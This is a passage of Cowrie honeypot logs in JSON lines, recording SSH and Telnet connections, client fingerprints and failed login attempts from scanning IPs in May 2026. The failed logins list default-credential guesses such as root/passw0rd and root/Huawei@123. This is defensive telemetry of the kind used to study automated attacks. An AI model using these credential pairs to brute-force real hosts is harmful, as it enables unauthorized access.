ac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:11:06.622742Z","src_ip":"95.38.165.118","session":"c12dbf8d27da","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.211.215","src_port":49166,"dst_ip":"159.203.135.109","dst_port":22,"session":"3ff02a8e64b1","protocol":"ssh","message":"New connection: 147.45.211.215:49166 (159.203.135.109:22) [session: 3ff02a8e64b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:11:07.122991Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:11:07.135637Z","src_ip":"147.45.211.215","session":"3ff02a8e64b1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"localhost","password":"localhost","message":"login attempt [localhost/localhost] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:11:07.150622Z","src_ip":"95.38.165.118","session":"c12dbf8d27da","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:11:07.313288Z","src_ip":"147.45.211.215","session":"3ff02a8e64b1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234567890asd","message":"login attempt [root/1234567890asd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:11:07.923560Z","src_ip":"147.45.211.215","session":"3ff02a8e64b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.058544874191284,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:11:08.446613Z","src_ip":"69.4.83.194","session":"d8063317d625","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:11:09.101463Z","src_ip":"147.45.211.215","session":"3ff02a8e64b1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":35608,"dst_ip":"10.17.0.5","dst_port":22,"session":"8b7ff53965e5","protocol":"ssh","message":"New connection: 95.38.165.118:35608 (10.17.0.5:22) [session: 8b7ff53965e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:11:11.484992Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:11:11.490412Z","src_ip":"95.38.165.118","session":"8b7ff53965e5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:11:11.660002Z","src_ip":"95.38.165.118","session":"8b7ff53965e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.7","message":"Connection lost after 5.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:11:12.104584Z","src_ip":"95.38.165.118","session":"c12dbf8d27da","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"passw0rd","message":"login attempt [root/passw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:11:13.447214Z","src_ip":"95.38.165.118","session":"8b7ff53965e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:11:16.255847Z","src_ip":"95.38.165.118","session":"8b7ff53965e5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":40888,"dst_ip":"10.17.0.5","dst_port":22,"session":"6a3395af32bd","protocol":"ssh","message":"New connection: 95.38.165.118:40888 (10.17.0.5:22) [session: 6a3395af32bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:11:16.373258Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:11:16.384709Z","src_ip":"95.38.165.118","session":"6a3395af32bd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:11:16.550892Z","src_ip":"95.38.165.118","session":"6a3395af32bd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Huawei@123","message":"login attempt [root/Huawei@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:11:17.281751Z","src_ip":"95.38.165.118","session":"6a3395af32bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:11:18.449215Z","src_ip":"95.38.165.118","session":"6a3395af32bd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"178.128.93.180","src_port":36520,"dst_ip":"10.17.0.5","dst_port":23,"session":"f5552b90da7e","protocol":"telnet","message":"New connection: 178.128.93.180:36520 (10.17.0.5:23) [session: f5552b90da7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:11:21.426761Z"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":40908,"dst_ip":"10.17.0.5","dst_port":22,"session":"de812a4ff0ec","protocol":"ssh","message":"New connection: 95.38.165.118:40908 (10.17.0.5:22) [session: de812a4ff0ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:11:21.581163Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:11:21.945614Z","src_ip":"95.38.165.118","session":"de812a4ff0ec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:11:22.463687Z","src_ip":"95.38.165.118","session":"de812a4ff0ec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"test","message":"login attempt [testuser/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:11:26.047153Z","src_ip":"95.38.165.118","session":"de812a4ff0ec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":46212,"dst_ip":"10.17.0.5","dst_port":22,"session":"5aaf38171a6e","protocol":"ssh","message":"New connection: 95.38.165.118:46212 (10.17.0.5:22) [session: 5aaf38171a6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:11:27.008571Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:11:27.018280Z","src_ip":"95.38.165.118","session":"5aaf38171a6e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:11:27.187200Z","src_ip":"95.38.165.118","session":"5aaf38171a6e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.9","message":"Connection lost after 7.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:11:29.440063Z","src_ip":"95.38.165.118","session":"de812a4ff0ec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root1","password":"root1","message":"login attempt [root1/root1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:11:29.888860Z","src_ip":"95.38.165.118","session":"5aaf38171a6e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":46228,"dst_ip":"10.17.0.5","dst_port":22,"session":"a533764f1877","protocol":"ssh","message":"New connection: 95.38.165.118:46228 (10.17.0.5:22) [session: a533764f1877]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:11:32.048292Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:11:32.054620Z","src_ip":"95.38.165.118","session":"a533764f1877","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:11:32.260618Z","src_ip":"95.38.165.118","session":"a533764f1877","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"123456","message":"login attempt [guest/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:11:34.496660Z","src_ip":"95.38.165.118","session":"a533764f1877","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.5","message":"Connection lost after 7.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:11:34.501224Z","src_ip":"95.38.165.118","session":"5aaf38171a6e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.6","message":"Connection lost after 3.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:11:35.663112Z","src_ip":"95.38.165.118","session":"a533764f1877","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":54150,"dst_ip":"10.17.0.5","dst_port":22,"session":"4d92587a590f","protocol":"ssh","message":"New connection: 95.38.165.118:54150 (10.17.0.5:22) [session: 4d92587a590f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:11:37.164343Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:11:37.169582Z","src_ip":"95.38.165.118","session":"4d92587a590f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:11:37.341876Z","src_ip":"95.38.165.118","session":"4d92587a590f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"samba","password":"samba","message":"login attempt [samba/samba] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:11:37.893227Z","src_ip":"95.38.165.118","session":"4d92587a590f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:11:39.530523Z","src_ip":"95.38.165.118","session":"4d92587a590f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":45216,"dst_ip":"159.203.135.109","dst_port":22,"session":"aa1d629cd636","protocol":"ssh","message":"New connection: 194.113.233.25:45216 (159.203.135.109:22) [session: aa1d629cd636]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:11:40.431902Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:11:40.437070Z","src_ip":"194.113.233.25","session":"aa1d629cd636","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:11:40.529036Z","src_ip":"194.113.233.25","session":"aa1d629cd636","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"center","message":"login attempt [root/center] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:11:40.804687Z","src_ip":"194.113.233.25","session":"aa1d629cd636","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:11:41.904365Z","src_ip":"194.113.233.25","session":"aa1d629cd636","protocol":"ssh"}
